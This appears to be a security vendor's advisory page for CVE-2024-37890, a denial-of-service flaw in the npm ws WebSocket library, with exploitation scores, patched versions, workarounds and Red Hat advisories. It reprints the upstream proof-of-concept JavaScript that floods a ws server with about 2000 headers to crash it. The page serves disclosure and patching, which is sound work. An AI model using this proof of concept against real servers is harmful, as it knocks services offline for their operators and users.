Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2024-37890 — ws

HIGHFix: websockets/ws@22c2876

CVE-2024-37890 is a high-severity (CVSS 7.5) NULL Pointer Dereference vulnerability in ws. A fix is available for ws — see the affected versions and patch details below.

Denial of service when handling a request with many HTTP headers in ws

Also known asGHSA-3h5v-q93c-6h6q
Published
Jun 17, 2024
Updated
Aug 12, 2026
Affected
4 pkgs
Patched
4 / 4
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-37890.

EPSS Exploitation Probability

via FIRST.org ↗
1.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs70th percentile — riskier than 70% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2024-37890 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

4 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

38Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
wsnpm
201.6Mdownloads / week

Description

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

Affected Packages

4 total 4 fixed
EcosystemPackageVulnerable rangeFix
📦npmws≥ 2.1.0&&< 5.2.45.2.4npm install ws@5.2.4
📦npmws≥ 6.0.0&&< 6.2.36.2.3npm install ws@6.2.3
📦npmws≥ 7.0.0&&< 7.5.107.5.10npm install ws@7.5.10
📦npmws≥ 8.0.0&&< 8.17.18.17.1npm install ws@8.17.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ws, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update ws to 5.2.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-37890 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-37890 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2024-37890. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate
ProductFixed inAdvisory
Red Hat Developer Hub 1.3 on RHEL 9rhdh/rhdh-hub-rhel9:1.3-124RHBA-2024:9054
RHODF-4.14-RHEL-9odf4/odf-console-rhel9:v4.14.18-3RHSA-2025:8551
RHODF-4.15-RHEL-9odf4/odf-console-rhel9:v4.15.14-2RHSA-2025:8544
RHODF-4.16-RHEL-9odf4/mcg-core-rhel9:v4.16.0-60RHSA-2024:4591
RHODF-4.16-RHEL-9odf4/mcg-core-rhel9:v4.16.1-2RHSA-2024:5547
RHODF-4.16-RHEL-9odf4/odf-console-rhel9:v4.16.2-2RHSA-2024:6755
Red Hat OpenShift Pipelines 1.15openshift-pipelines/pipelines-hub-ui-rhel8:1772036471RHSA-2026:3710
Red Hat OpenShift Pipelines 1.15openshift-pipelines/pipelines-hub-ui-rhel8:1772036471RHSA-2026:3712

Frequently Asked Questions

### Impact A request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server. ### Proof of concept ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x';
O3 Security · Impact-Aware SCA

Is CVE-2024-37890 in your dependencies?

O3 Security finds CVE-2024-37890 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2024-37890: ws (High 7.5) | O3 Security